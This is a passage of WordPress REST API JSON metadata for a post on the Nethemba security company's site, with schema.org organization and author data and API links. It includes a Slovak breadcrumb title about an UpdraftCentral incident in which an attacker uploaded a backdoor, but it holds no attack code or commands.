istItem","position":2,"name":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"sk-SK"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"sk-SK","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/comments?post=9625"}],"version-history":[{"count":39,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625\/revisions"}],"predecessor-version":[{"id":9821,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/posts\/9625\/revisions\/9821"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/media\/9600"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/media?parent=9625"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/categories?post=9625"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/sk\/wp-json\/wp\/v2\/tags?post=9625"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}